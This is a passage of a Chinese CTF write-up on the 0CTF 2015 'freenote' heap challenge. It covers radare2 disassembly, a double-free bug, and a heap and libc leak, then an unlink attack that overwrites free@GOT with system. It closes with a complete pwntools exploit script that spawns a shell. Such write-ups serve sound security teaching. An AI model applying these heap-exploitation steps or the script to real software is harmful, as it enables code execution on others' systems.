| ||| 0x00400e92 01c2 add edx, eax
| ||| 0x00400e94 83e27f and edx, 0x7f
| ||| 0x00400e97 29c2 sub edx, eax
| ||| 0x00400e99 89d0 mov eax, edx
| ||| 0x00400e9b 89c2 mov edx, eax
| ||| 0x00400e9d 8b45e4 mov eax, dword [local_1ch]
| ||| 0x00400ea0 01d0 add eax, edx
| ||| 0x00400ea2 8945ec mov dword [local_14h], eax
| ||| 0x00400ea5 488b1dfc1120. mov rbx, qword [0x006020a8] ; [0x6020a8:8]=0
| ||| 0x00400eac 8b45ec mov eax, dword [local_14h]
| ||| 0x00400eaf 4863c8 movsxd rcx, eax
| ||| 0x00400eb2 488b35ef1120. mov rsi, qword [0x006020a8] ; [0x6020a8:8]=0
| ||| 0x00400eb9 8b45e8 mov eax, dword [local_18h]
| ||| 0x00400ebc 4863d0 movsxd rdx, eax
| ||| 0x00400ebf 4889d0 mov rax, rdx
| ||| 0x00400ec2 4801c0 add rax, rax ; '#'
| ||| 0x00400ec5 4801d0 add rax, rdx ; '('
| ||| 0x00400ec8 48c1e003 shl rax, 3
| ||| 0x00400ecc 4801f0 add rax, rsi ; '+'
| ||| 0x00400ecf 4883c020 add rax, 0x20
| ||| 0x00400ed3 488b00 mov rax, qword [rax]
| ||| 0x00400ed6 4889ce mov rsi, rcx ; rsi 为分配的大小，算法和 New 过程中的一样
| ||| 0x00400ed9 4889c7 mov rdi, rax ; rdi 为 Note 成员 content
| ||| 0x00400edc e85ff8ffff call sym.imp.realloc ; void *realloc(void *ptr, size_t size)
| ||| 0x00400ee1 4889c1 mov rcx, rax
| ||| 0x00400ee4 8b45e8 mov eax, dword [local_18h]
| ||| 0x00400ee7 4863d0 movsxd rdx, eax
| ||| 0x00400eea 4889d0 mov rax, rdx
| ||| 0x00400eed 4801c0 add rax, rax ; '#'
| ||| 0x00400ef0 4801d0 add rax, rdx ; '('
| ||| 0x00400ef3 48c1e003 shl rax, 3
| ||| 0x00400ef7 4801d8 add rax, rbx ; '%'
| ||| 0x00400efa 4883c020 add rax, 0x20
| ||| 0x00400efe 488908 mov qword [rax], rcx
| ||| 0x00400f01 488b35a01120. mov rsi, qword [0x006020a8] ; [0x6020a8:8]=0
| ||| 0x00400f08 8b45e4 mov eax, dword [local_1ch]
| ||| 0x00400f0b 4863c8 movsxd rcx, eax
| ||| 0x00400f0e 8b45e8 mov eax, dword [local_18h]
| ||| 0x00400f11 4863d0 movsxd rdx, eax
| ||| 0x00400f14 4889d0 mov rax, rdx
| ||| 0x00400f17 4801c0 add rax, rax ; '#'
| ||| 0x00400f1a 4801d0 add rax, rdx ; '('
| ||| 0x00400f1d 48c1e003 shl rax, 3
| ||| 0x00400f21 4801f0 add rax, rsi ; '+'
| ||| 0x00400f24 4883c010 add rax, 0x10
| ||| 0x00400f28 48894808 mov qword [rax + 8], rcx ; 将新的大小写回 Note 的 length
| ||| ; JMP XREF from 0x00400e6f (sub.Note_number:_d87)
| |`--> 0x00400f2c bf91124000 mov edi, str.Enter_your_note: ; 0x401291 ; "Enter your note: "
| | | 0x00400f31 b800000000 mov eax, 0
| | | 0x00400f36 e8a5f7ffff call sym.imp.printf ; int printf(const char *format)
| | | 0x00400f3b 488b0d661120. mov rcx, qword [0x006020a8] ; [0x6020a8:8]=0
| | | 0x00400f42 8b45e8 mov eax, dword [local_18h]
| | | 0x00400f45 4863d0 movsxd rdx, eax
| | | 0x00400f48 4889d0 mov rax, rdx
| | | 0x00400f4b 4801c0 add rax, rax ; '#'
| | | 0x00400f4e 4801d0 add rax, rdx ; '('
| | | 0x00400f51 48c1e003 shl rax, 3
| | | 0x00400f55 4801c8 add rax, rcx ; '&'
| | | 0x00400f58 4883c020 add rax, 0x20
| | | 0x00400f5c 488b00 mov rax, qword [rax]
| | | 0x00400f5f 8b55e4 mov edx, dword [local_1ch]
| | | 0x00400f62 89d6 mov esi, edx
| | | 0x00400f64 4889c7 mov rdi, rax
| | | 0x00400f67 e8f1f8ffff call sub.read_85d ; ssize_t read(int fildes, void *buf, size_t nbyte) ; 读入新的笔记内容
| | | 0x00400f6c bfa3124000 mov edi, str.Done. ; 0x4012a3 ; "Done."
| | | 0x00400f71 e84af7ffff call sym.imp.puts ; int puts(const char *s)
| | | ; JMP XREF from 0x00400dfb (sub.Note_number:_d87)
| | | ; JMP XREF from 0x00400e2c (sub.Note_number:_d87)
| `-`-> 0x00400f76 4883c418 add rsp, 0x18
| 0x00400f7a 5b pop rbx
| 0x00400f7b 5d pop rbp
\ 0x00400f7c c3 ret
```
该函数在输入了笔记序号和大小之后，会先判断新的大小与现在的大小是否相同，如果相同，则不重新分配空间，直接编辑其内容，否则调用 `realloc()` 重新分配一块空间（地址可能与原地址相同，也可能不相同）。
Delete 的实现如下：
```text
[0x00400770]> pdf @ sub.No_notes_yet._f7d
/ (fcn) sub.No_notes_yet._f7d 266
| sub.No_notes_yet._f7d ();
| ; var int local_4h @ rbp-0x4
| ; var int local_0h @ rbp-0x0
| ; CALL XREF from 0x004010ec (main + 101)
| 0x00400f7d 55 push rbp
| 0x00400f7e 4889e5 mov rbp, rsp
| 0x00400f81 4883ec10 sub rsp, 0x10
| 0x00400f85 488b051c1120. mov rax, qword [0x006020a8] ; [0x6020a8:8]=0
| 0x00400f8c 488b4008 mov rax, qword [rax + 8] ; [0x8:8]=-1 ; 8
| 0x00400f90 4885c0 test rax, rax ; 检查 Notes 成员 length 是否为零，即是否有笔记
| ,=< 0x00400f93 0f8ee2000000 jle 0x40107b
| | 0x00400f99 bfa9124000 mov edi, str.Note_number: ; 0x4012a9 ; "Note number: "
| | 0x00400f9e b800000000 mov eax, 0
| | 0x00400fa3 e838f7ffff call sym.imp.printf ; int printf(const char *format)
| | 0x00400fa8 b800000000 mov eax, 0
| | 0x00400fad e89cf9ffff call sub.atoi_94e ; int atoi(const char *str)
| | 0x00400fb2 8945fc mov dword [local_4h], eax ; [local_4h] 为要删除笔记的序号
| | 0x00400fb5 837dfc00 cmp dword [local_4h], 0 ; 检查笔记序号是否有效
| ,==< 0x00400fb9 7815 js 0x400fd0
| || 0x00400fbb 8b45fc mov eax, dword [local_4h]
| || 0x00400fbe 4863d0 movsxd rdx, eax
| || 0x00400fc1 488b05e01020. mov rax, qword [0x006020a8] ; [0x6020a8:8]=0
| || 0x00400fc8 488b00 mov rax, qword [rax]
| || 0x00400fcb 4839c2 cmp rdx, rax
| ,===< 0x00400fce 7c0f jl 0x400fdf
| ||| ; JMP XREF from 0x00400fb9 (sub.No_notes_yet._f7d)
| |`--> 0x00400fd0 bfb7124000 mov edi, str.Invalid_number ; 0x4012b7 ; "Invalid number!"
| | | 0x00400fd5 e8e6f6ffff call sym.imp.puts ; int puts(const char *s)
| |,==< 0x00400fda e9a6000000 jmp 0x401085
| ||| ; JMP XREF from 0x00400fce (sub.No_notes_yet._f7d)
| `---> 0x00400fdf 488b05c21020. mov rax, qword [0x006020a8] ; [0x6020a8:8]=0
| || 0x00400fe6 488b5008 mov rdx, qword [rax + 8] ; [0x8:8]=-1 ; 8 ; 取出 Notes 成员 length
| || 0x00400fea 4883ea01 sub rdx, 1 ; 将 length -1
| || 0x00400fee 48895008 mov qword [rax + 8], rdx ; 将新的 length 写回去
| || 0x00400ff2 488b0daf1020. mov rcx, qword [0x006020a8] ; [0x6020a8:8]=0
| || 0x00400ff9 8b45fc mov eax, dword [local_4h]
| || 0x00400ffc 4863d0 movsxd rdx, eax
| || 0x00400fff 4889d0 mov rax, rdx
| || 0x00401002 4801c0 add rax, rax ; '#'
| || 0x00401005 4801d0 add rax, rdx ; '('
| || 0x00401008 48c1e003 shl rax, 3
| || 0x0040100c 4801c8 add rax, rcx ; '&'
| || 0x0040100f 4883c010 add rax, 0x10
| || 0x00401013 48c700000000. mov qword [rax], 0 ; 修改 Note 成员 isValid 为 0
| || 0x0040101a 488b0d871020. mov rcx, qword [0x006020a8] ; [0x6020a8:8]=0
| || 0x00401021 8b45fc mov eax, dword [local_4h]
| || 0x00401024 4863d0 movsxd rdx, eax
| || 0x00401027 4889d0 mov rax, rdx
| || 0x0040102a 4801c0 add rax, rax ; '#'
| || 0x0040102d 4801d0 add rax, rdx ; '('
| || 0x00401030 48c1e003 shl rax, 3
| || 0x00401034 4801c8 add rax, rcx ; '&'
| || 0x00401037 4883c010 add rax, 0x10
| || 0x0040103b 48c740080000. mov qword [rax + 8], 0 ; 修改 Note 成员 length 为 0
| || 0x00401043 488b0d5e1020. mov rcx, qword [0x006020a8] ; [0x6020a8:8]=0
| || 0x0040104a 8b45fc mov eax, dword [local_4h]
| || 0x0040104d 4863d0 movsxd rdx, eax
| || 0x00401050 4889d0 mov rax, rdx
| || 0x00401053 4801c0 add rax, rax ; '#'
| || 0x00401056 4801d0 add rax, rdx ; '('
| || 0x00401059 48c1e003 shl rax, 3
| || 0x0040105d 4801c8 add rax, rcx ; '&'
| || 0x00401060 4883c020 add rax, 0x20
| || 0x00401064 488b00 mov rax, qword [rax]
| || 0x00401067 4889c7 mov rdi, rax ; rdi 为 Note 成员 content 指向的地址
| || 0x0040106a e841f6ffff call sym.imp.free ; void free(void *ptr)
| || 0x0040106f bfa3124000 mov edi, str.Done. ; 0x4012a3 ; "Done."
| || 0x00401074 e847f6ffff call sym.imp.puts ; int puts(const char *s)
| ,===< 0x00401079 eb0a jmp 0x401085
| ||| ; JMP XREF from 0x00400f93 (sub.No_notes_yet._f7d)
| ||`-> 0x0040107b bfd8124000 mov edi, str.No_notes_yet. ; 0x4012d8 ; "No notes yet."
| || 0x00401080 e83bf6ffff call sym.imp.puts ; int puts(const char *s)
| || ; JMP XREF from 0x00400fda (sub.No_notes_yet._f7d)
| || ; JMP XREF from 0x00401079 (sub.No_notes_yet._f7d)
| ``--> 0x00401085 c9 leave
\ 0x00401086 c3 ret
```
该函数在读入要删除的笔记序号后，首先将 Notes 结构体成员 `length -1`，然后将对应的 Note 结构体的 `isValid` 和 `length` 修改为 `0`，然后 free 掉笔记的内容（`*content`）。
## 漏洞利用
在上面逆向的过程中我们发现，程序存在 double free 漏洞。在 Delete 的时候，只是设置了 `isValid =0` 作为标记，而没有将该笔记从 Notes 中移除，也没有将 `content` 设置为 NULL，然后就调用了 free 函数。整个过程没有对 `isValid` 是否已经为 `0` 做任何检查。于是我们可以对同一个笔记 Delete 两次，造成 double free，修改 GOT 表，改变程序的执行流。
### 泄漏地址
第一步先泄漏堆地址。为方便调试，就先关掉 ASLR 吧：
```text
gef➤ vmmap heap
Start End Offset Perm Path
0x0000000000603000 0x0000000000625000 0x0000000000000000 rw- [heap]
gef➤ vmmap libc
Start End Offset Perm Path
0x00007ffff7a15000 0x00007ffff7bd0000 0x0000000000000000 r-x /home/firmy/libc-2.19.so
0x00007ffff7bd0000 0x00007ffff7dcf000 0x00000000001bb000 --- /home/firmy/libc-2.19.so
0x00007ffff7dcf000 0x00007ffff7dd3000 0x00000000001ba000 r-- /home/firmy/libc-2.19.so
0x00007ffff7dd3000 0x00007ffff7dd5000 0x00000000001be000 rw- /home/firmy/libc-2.19.so
```
为了泄漏堆地址，我们需要释放 2 个不相邻且不会被合并进 top chunk 里的 chunk，所以我们创建 4 个笔记，可以看到由初始化阶段创建的 Notes 和 Note 结构体：
```python
for i in range(4):
newnote("A"*8)
```
```text
gef➤ x/16gx 0x00603000
0x603000: 0x0000000000000000 0x0000000000001821
0x603010: 0x0000000000000100 0x0000000000000004 <-- Notes.max <-- Notes.length
0x603020: 0x0000000000000001 0x0000000000000008 <-- Notes.notes[0].isValid <-- Notes.notes[0].length
0x603030: 0x0000000000604830 0x0000000000000001 <-- Notes.notes[0].content
0x603040: 0x0000000000000008 0x00000000006048c0
0x603050: 0x0000000000000001 0x0000000000000008
0x603060: 0x0000000000604950 0x0000000000000001
0x603070: 0x0000000000000008 0x00000000006049e0
```
下面是创建的 4 个笔记：
```text
gef➤ x/4gx 0x00603000+0x1820
0x604820: 0x0000000000000000 0x0000000000000091 <-- chunk 0
0x604830: 0x4141414141414141 0x0000000000000000 <-- *notes[0].content
gef➤ x/4gx 0x00603000+0x1820+0x90*1
0x6048b0: 0x0000000000000000 0x0000000000000091 <-- chunk 1
0x6048c0: 0x4141414141414141 0x0000000000000000 <-- *notes[1].content
gef➤ x/4gx 0x00603000+0x1820+0x90*2
0x604940: 0x0000000000000000 0x0000000000000091 <-- chunk 2
0x604950: 0x4141414141414141 0x0000000000000000 <-- *notes[2].content
gef➤ x/4gx 0x00603000+0x1820+0x90*3
0x6049d0: 0x0000000000000000 0x0000000000000091 <-- chunk 3
0x6049e0: 0x4141414141414141 0x0000000000000000 <-- *notes[3].content
gef➤ x/4gx 0x00603000+0x1820+0x90*4
0x604a60: 0x0000000000000000 0x00000000000205a1 <-- top chunk
0x604a70: 0x0000000000000000 0x0000000000000000
```
现在我们释放掉 chunk 0 和 chunk 2：
```python
delnote(0)
delnote(2)
```
```text
gef➤ x/16gx 0x00603000
0x603000: 0x0000000000000000 0x0000000000001821
0x603010: 0x0000000000000100 0x0000000000000002 <-- Notes.length
0x603020: 0x0000000000000000 0x0000000000000000 <-- notes[0].isValid <-- notes[0].length
0x603030: 0x0000000000604830 0x0000000000000001 <-- notes[0].content
0x603040: 0x0000000000000008 0x00000000006048c0
0x603050: 0x0000000000000000 0x0000000000000000 <-- notes[2].isValid <-- notes[2].length
0x603060: 0x0000000000604950 0x0000000000000001 <-- notes[2].content
0x603070: 0x0000000000000008 0x00000000006049e0
gef➤ x/4gx 0x00603000+0x1820
0x604820: 0x0000000000000000 0x0000000000000091 <-- chunk 0 [be freed]
0x604830: 0x00007ffff7dd37b8 0x0000000000604940 <-- fd->main_arena+88 <-- bk->chunk 2
gef➤ x/4gx 0x00603000+0x1820+0x90*1
0x6048b0: 0x0000000000000090 0x0000000000000090 <-- chunk 1
0x6048c0: 0x4141414141414141 0x0000000000000000
gef➤ x/4gx 0x00603000+0x1820+0x90*2
0x604940: 0x0000000000000000 0x0000000000000091 <-- chunk 2 [be freed]
0x604950: 0x0000000000604820 0x00007ffff7dd37b8 <-- fd->chunk 0 <-- bk->main_arena+88
gef➤ x/4gx 0x00603000+0x1820+0x90*3
0x6049d0: 0x0000000000000090 0x0000000000000090 <-- chunk 3
0x6049e0: 0x4141414141414141 0x0000000000000000
gef➤ x/4gx 0x00603000+0x1820+0x90*4
0x604a60: 0x0000000000000000 0x00000000000205a1 <-- top chunk
0x604a70: 0x0000000000000000 0x0000000000000000
```
chunk 0 和 chunk 2 被放进了 unsorted bin，且它们的 fd 和 bk 指针有我们需要的地址。
为了泄漏堆地址，我们分配一个内容长度为 8 的笔记，malloc 将从 unsorted bin 中把原来 chunk 0 的空间取出来：
```python
newnote("A"*8)
```
```text
gef➤ x/16gx 0x00603000
0x603000: 0x0000000000000000 0x0000000000001821
0x603010: 0x0000000000000100 0x0000000000000003 <-- Notes.length
0x603020: 0x0000000000000001 0x0000000000000008 <-- notes[0].isValid <-- notes[0].length
0x603030: 0x0000000000604830 0x0000000000000001 <-- notes[0].content
0x603040: 0x0000000000000008 0x00000000006048c0
0x603050: 0x0000000000000000 0x0000000000000000 <-- notes[2].isValid <-- notes[2].length
0x603060: 0x0000000000604950 0x0000000000000001 <-- notes[2].content
0x603070: 0x0000000000000008 0x00000000006049e0
gef➤ x/4gx 0x00603000+0x1820
0x604820: 0x0000000000000000 0x0000000000000091 <-- chunk 0
0x604830: 0x4141414141414141 0x0000000000604940 <-- info leak
gef➤ x/4gx 0x00603000+0x1820+0x90*1
0x6048b0: 0x0000000000000090 0x0000000000000091 <-- chunk 1
0x6048c0: 0x4141414141414141 0x0000000000000000
gef➤ x/4gx 0x00603000+0x1820+0x90*2
0x604940: 0x0000000000000000 0x0000000000000091 <-- chunk 2 [be freed]
0x604950: 0x00007ffff7dd37b8 0x00007ffff7dd37b8 <-- fd->chunk 0 <-- bk->main_arena+88
gef➤ x/4gx 0x00603000+0x1820+0x90*3
0x6049d0: 0x0000000000000090 0x0000000000000090 <-- chunk 3
0x6049e0: 0x4141414141414141 0x0000000000000000
gef➤ x/4gx 0x00603000+0x1820+0x90*4
0x604a60: 0x0000000000000000 0x00000000000205a1 <-- top chunk
0x604a70: 0x0000000000000000 0x0000000000000000
```
为什么是 8 呢？我们同样可以看到程序的读入是有问题的，没有在字符串末尾加上 `\0`，导致了信息泄漏的发生，接下来只要调用 List 就可以把 chunk 2 的地址 `0x604940` 打印出来。然后根据 chunk 2 的偏移，即可计算出堆起始地址：
```python
s = listnote(0)[8:]
heap_addr = u64((s.ljust(8, "\x00"))[:8])
heap_base = heap_addr - 0x1940 # 0x1940 = 0x1820 + 0x90*2
```
其实我们还可以得到 libc 的地址，方法如下：
```text
gef➤ x/20gx 0x00007ffff7dd37b8-0x78
0x7ffff7dd3740 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd3750: 0x0000000000000000 0x0000000000000000
0x7ffff7dd3760: 0x0000000100000000 0x0000000000000000 <-- main_arena
0x7ffff7dd3770: 0x0000000000000000 0x0000000000000000
0x7ffff7dd3780: 0x0000000000000000 0x0000000000000000
0x7ffff7dd3790: 0x0000000000000000 0x0000000000000000
0x7ffff7dd37a0: 0x0000000000000000 0x0000000000000000
0x7ffff7dd37b0: 0x0000000000000000 0x0000000000604a60 <-- top
0x7ffff7dd37c0: 0x0000000000000000 0x0000000000604940
0x7ffff7dd37d0: 0x0000000000604820 0x00007ffff7dd37c8
```
我们看到 `__malloc_hook` 在这个地址 `0x00007ffff7dd37b8-0x78` 的地方。其实 `0x7ffff7dd3760` 地方开始就是 `main_arena`，但在这个 libc 里符号被 stripped 扔掉了。看一下 `__malloc_hook` 在 libc 中的偏移：
```text
$ readelf -s libc-2.19.so | grep __malloc_hook
1079: 00000000003be740 8 OBJECT WEAK DEFAULT 31 __malloc_hook@@GLIBC_2.2.5
```
因为偏移是不变的，我们总是可以计算出 libc 的地址：
```python
libc_base = leak_addr - (0x3be740 + 0x78)
```
过程和泄漏堆地址是一样的，这里就不展示了，代码如下：
```python
newnote("A"*8)
s = listnote(2)[8:]
libc_addr = u64((s.ljust(8, "\x00"))[:8])
libc_base = libc_addr - (0x3be740 + 0x78) # __malloc_hook + 0x78
```
这一步的最后只要把创建的所有笔记都删掉就好了：
```text
gef➤ x/16gx 0x00603000
0x603000: 0x0000000000000000 0x0000000000001821
0x603010: 0x0000000000000100 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000000000
0x603030: 0x0000000000604830 0x0000000000000000
0x603040: 0x0000000000000000 0x00000000006048c0
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000604950 0x0000000000000000
0x603070: 0x0000000000000000 0x00000000006049e0
gef➤ x/4gx 0x00603000+0x1820
0x604820: 0x0000000000000000 0x00000000000207e1
0x604830: 0x00007ffff7dd37b8 0x00007ffff7dd37b8
gef➤ x/4gx 0x00603000+0x1820+0x90*1
0x6048b0: 0x0000000000000090 0x0000000000000090
0x6048c0: 0x4141414141414141 0x0000000000000000
gef➤ x/4gx 0x00603000+0x1820+0x90*2
0x604940: 0x0000000000000120 0x0000000000000090
0x604950: 0x4141414141414141 0x00007ffff7dd37b8
gef➤ x/4gx 0x00603000+0x1820+0x90*3
0x6049d0: 0x00000000000001b0 0x0000000000000090 <-- chunk 3 [be freed]
0x6049e0: 0x4141414141414141 0x0000000000000000
gef➤ x/4gx 0x00603000+0x1820+0x90*4
0x604a60: 0x0000000000000000 0x00000000000205a1
0x604a70: 0x0000000000000000 0x0000000000000000
```
所有的 chunk 都被合并到了 top chunk 里，需要重点关注的是 chunk 3 的 prev_size 字段：
```text
0x6049d0 - 0x1b0 = 0x604820
```
所以其实它指向的是 chunk 0，如果再次释放 chunk 3，它会根据 prev_size 找到 chunk 0，并执行 unlink，然而如果直接这样做的话，马上就被 libc 检查出来了，double free 异常被触发，程序崩溃。所以我们接下来我们通过修改 prev_size 指向一个 fake chunk，来成功 unlink。
### unlink
有了堆地址，根据 unlink 攻击的一般思想，我们总共创建 3 块 chunk，在 chunk 0 中构造 fake chunk，在 chunk 1 中放置 `/bin/sh` 字符串，用来作为 `system()` 函数的参数，chunk 2 里再放置两个 fake chunk：
```python
newnote(p64(0) + p64(0) + p64(heap_base + 0x18) + p64(heap_base + 0x20)) # note 0
newnote('/bin/sh\x00') # note 1
newnote("A"*128 + p64(0x1a0)+p64(0x90)+"A"*128 + p64(0)+p64(0x21)+"A"*24 + "\x01") # note 2
```
为什么这样构造呢？回顾一下 unlink 的操作如下：
```text
FD = P->fd;
BK = P->bk;
FD->bk = BK
BK->fd = FD
```
需要绕过的检查：
```text
(P->fd->bk != P || P->bk->fd != P) == False
```
最终效果是：
```text
FD->bk = P = BK = &P - 16
BK->fd = P = FD = &P - 24
```
为了绕过它，我们需要一个指向 chunk 头的指针，通过前面的分析我们知道 Note.content 正好指向 chunk 头，而且没有被置空，那么就可以通过泄漏出来的堆地址计算出这个指针的地址。
全部堆块的情况如下：
```text
gef➤ x/4gx 0x603018
0x603018: 0x0000000000000003 0x0000000000000001
0x603028: 0x0000000000000020 0x0000000000604830 <-- bk pointer
gef➤ x/4gx 0x603020
0x603020: 0x0000000000000001 0x0000000000000020
0x603030: 0x0000000000604830 0x0000000000000001 <-- fd pointer
gef➤ x/90gx 0x00603000+0x1820
0x604820: 0x0000000000000000 0x0000000000000091 <-- chunk 0
0x604830: 0x0000000000000000 0x0000000000000000 <-- fake chunk
0x604840: 0x0000000000603018 0x0000000000603020 <-- fd pointer <-- bk pointer
0x604850: 0x0000000000000000 0x0000000000000000
0x604860: 0x0000000000000000 0x0000000000000000
0x604870: 0x0000000000000000 0x0000000000000000
0x604880: 0x0000000000000000 0x0000000000000000
0x604890: 0x0000000000000000 0x0000000000000000
0x6048a0: 0x0000000000000000 0x0000000000000000
0x6048b0: 0x0000000000000090 0x0000000000000091 <-- chunk 1
0x6048c0: 0x0068732f6e69622f 0x0000000000000000 <-- '/bin/sh'
0x6048d0: 0x0000000000000000 0x0000000000000000
0x6048e0: 0x0000000000000000 0x0000000000000000
0x6048f0: 0x0000000000000000 0x0000000000000000
0x604900: 0x0000000000000000 0x0000000000000000
0x604910: 0x0000000000000000 0x0000000000000000
0x604920: 0x0000000000000000 0x0000000000000000
0x604930: 0x0000000000000000 0x0000000000000000
0x604940: 0x0000000000000120 0x0000000000000191 <-- chunk 2
0x604950: 0x4141414141414141 0x4141414141414141
0x604960: 0x4141414141414141 0x4141414141414141
0x604970: 0x4141414141414141 0x4141414141414141
0x604980: 0x4141414141414141 0x4141414141414141
0x604990: 0x4141414141414141 0x4141414141414141
0x6049a0: 0x4141414141414141 0x4141414141414141
0x6049b0: 0x4141414141414141 0x4141414141414141
0x6049c0: 0x4141414141414141 0x4141414141414141
0x6049d0: 0x00000000000001a0 0x0000000000000090 <-- chunk 3 pointer
0x6049e0: 0x4141414141414141 0x4141414141414141
0x6049f0: 0x4141414141414141 0x4141414141414141
0x604a00: 0x4141414141414141 0x4141414141414141
0x604a10: 0x4141414141414141 0x4141414141414141
0x604a20: 0x4141414141414141 0x4141414141414141
0x604a30: 0x4141414141414141 0x4141414141414141
0x604a40: 0x4141414141414141 0x4141414141414141
0x604a50: 0x4141414141414141 0x4141414141414141
0x604a60: 0x0000000000000000 0x0000000000000021 <-- fake next chunk PREV_INUSE
0x604a70: 0x4141414141414141 0x4141414141414141
0x604a80: 0x4141414141414141 0x0000000000000001 <-- fake next next chunk PREV_INUSE
0x604a90: 0x0000000000000000 0x0000000000000000
0x604aa0: 0x0000000000000000 0x0000000000000000
0x604ab0: 0x0000000000000000 0x0000000000000000
0x604ac0: 0x0000000000000000 0x0000000000000000
0x604ad0: 0x0000000000000000 0x0000000000020531 <-- top chunk
0x604ae0: 0x0000000000000000 0x0000000000000000
```
首先是 chunk 0，在它里面包含了一个 fake chunk，且设置了 bk、fd 指针用于绕过检查。
chunk 2 分配了很大的空间，把 chunk 3 指针也包含了进去，这样就可以对 chunk 3 的 prev_size 进行设置，我们将其修改为 `0x1a0`，于是 `0x6049d0 - 0x1a0 = 0x604830`，即 fake chunk 的位置。另外，在释放 chunk 3 时，libc 会检查后一个堆块的 `PREV_INUSE` 标志位，同时也为了防止 free 后的 chunk 被合并进 top chunk，所以需要在 chunk 3 后布置一个 fake chunk，同样的 fake chunk 的后一个堆块也必须是 `PREV_INUSE` 的，以防止 chunk 3 与 fake chunk 合并。
接下来就是释放 chunk 3，触发 unlink：
```python
delnote(3)
```
```text
gef➤ x/16gx 0x00603000
0x603000: 0x0000000000000000 0x0000000000001821
0x603010: 0x0000000000000100 0x0000000000000002
0x603020: 0x0000000000000001 0x0000000000000020
0x603030: 0x0000000000603018 0x0000000000000001 <-- notes[0].content
0x603040: 0x0000000000000008 0x00000000006048c0
0x603050: 0x0000000000000001 0x0000000000000139
0x603060: 0x0000000000604950 0x0000000000000000
0x603070: 0x0000000000000000 0x00000000006049e0
```
我们看到，note 0 的 content 指针被修改了，原本指向 fake chunk，现在却指向了自身地址减 0x18 的位置，这意味着我们可以将其改为任意地址。
### overwrite note
这一步我们利用 Edit 功能先将 notes[0].content 该为 `free@got`：
```python
editnote(0, p64(2) + p64(1)+p64(8)+p64(elf.got['free']))
```
```text
gef➤ x/16gx 0x00603000
0x603000: 0x0000000000000000 0x0000000000001821
0x603010: 0x0000000000000100 0x0000000000000002
0x603020: 0x0000000000000001 0x0000000000000008 <-- notes[0].length = 8
0x603030: 0x0000000000602018 0x0000000000000001 <-- notes[0].content = free@got
0x603040: 0x0000000000000008 0x00000000006048c0
0x603050: 0x0000000000000001 0x0000000000000139
0x603060: 0x0000000000604950 0x0000000000000000
0x603070: 0x0000000000000000 0x00000000006049e0
gef➤ x/gx 0x602018
0x602018 <free@got.plt>: 0x00007ffff7a97df0
```
另外这里将 length 设置为 8 也是有意义的，因为我们下一步修改 free 的地址为 system 地址，正好是 8 个字符长度，程序直接编辑其内容而不会调用 realloc 重新分配空间：
```python
editnote(0, p64(system_addr))
```
```text
gef➤ x/gx 0x602018
0x602018 <free@got.plt>: 0x00007ffff7a5b640
gef➤ p system
$1 = {<text variable, no debug info>} 0x7ffff7a5b640 <system>
```
于是最后一步调用 free 时，实际上是调用了 `system('/bin/sh')`：
```python
delnote(1)
```
```text
gef➤ x/s 0x6048c0
0x6048c0: "/bin/sh"
```
### pwn
开启 ASLR。Bingo!!!
```text
$ python exp.py
[+] Starting local process './freenote': pid 30146
[*] heap base: 0x23b5000
[*] libc base: 0x7efc6903e000
[*] system address: 0x7efc69084640
[*] Switching to interactive mode
$ whoami
firmy
```
### exploit
完整的 exp 如下：
```python
from pwn import *
io = process(['./freenote'], env={'LD_PRELOAD':'./libc-2.19.so'})
elf = ELF('freenote')
libc = ELF('libc-2.19.so')
def newnote(x):
io.recvuntil("Your choice: ")
io.sendline("2")
io.recvuntil("Length of new note: ")
io.sendline(str(len(x)))
io.recvuntil("Enter your note: ")
io.send(x)
def delnote(x):
io.recvuntil("Your choice: ")
io.sendline("4")
io.recvuntil("Note number: ")
io.sendline(str(x))
def listnote(x):
io.recvuntil("Your choice: ")
io.sendline("1")
io.recvuntil("%d. " % x)
return io.recvline(keepends=False)
def editnote(x, s):
io.recvuntil("Your choice: ")
io.sendline("3")
io.recvuntil("Note number: ")
io.sendline(str(x))
io.recvuntil("Length of note: ")
io.sendline(str(len(s)))
io.recvuntil("Enter your note: ")
io.send(s)
def leak_base():
global heap_base
global libc_base
for i in range(4):
newnote("A"*8)
delnote(0)
delnote(2)
newnote("A"*8) # note 0
s = listnote(0)[8:]
heap_addr = u64((s.ljust(8, "\x00"))[:8])
heap_base = heap_addr - 0x1940 # 0x1940 = 0x1820 + 0x90*2
log.info("heap base: 0x%x" % heap_base)
newnote("A"*8) # note 2
s = listnote(2)[8:]
libc_addr = u64((s.ljust(8, "\x00"))[:8])
libc_base = libc_addr - (libc.symbols['__malloc_hook'] + 0x78) # 0x78 = libc_addr - __malloc_hook_addr
log.info("libc base: 0x%x" % libc_base)
for i in range(4):
delnote(i)
def unlink():
newnote(p64(0) + p64(0) + p64(heap_base + 0x18) + p64(heap_base + 0x20)) # note 0
newnote('/bin/sh\x00') # note 1
newnote("A"*128 + p64(0x1a0)+p64(0x90)+"A"*128 + p64(0)+p64(0x21)+"A"*24 + "\x01") # note 2
delnote(3) # double free
def overwrite_note():
system_addr = libc_base + libc.symbols['system']
log.info("system address: 0x%x" % system_addr)
editnote(0, p64(2) + p64(1)+p64(8)+p64(elf.got['free'])) # Note.content = free_got
editnote(0, p64(system_addr)) # free => system
def pwn():
delnote(1) # system('/bin/sh')
io.interactive()
if __name__ == "__main__":
leak_base()
unlink()
overwrite_note()
pwn()
```
## 参考资料
- [0CTF 2015 Quals CTF: freenote](https://github.com/ctfs/write-ups-2015/tree/master/0ctf-2015/exploit/freenote)
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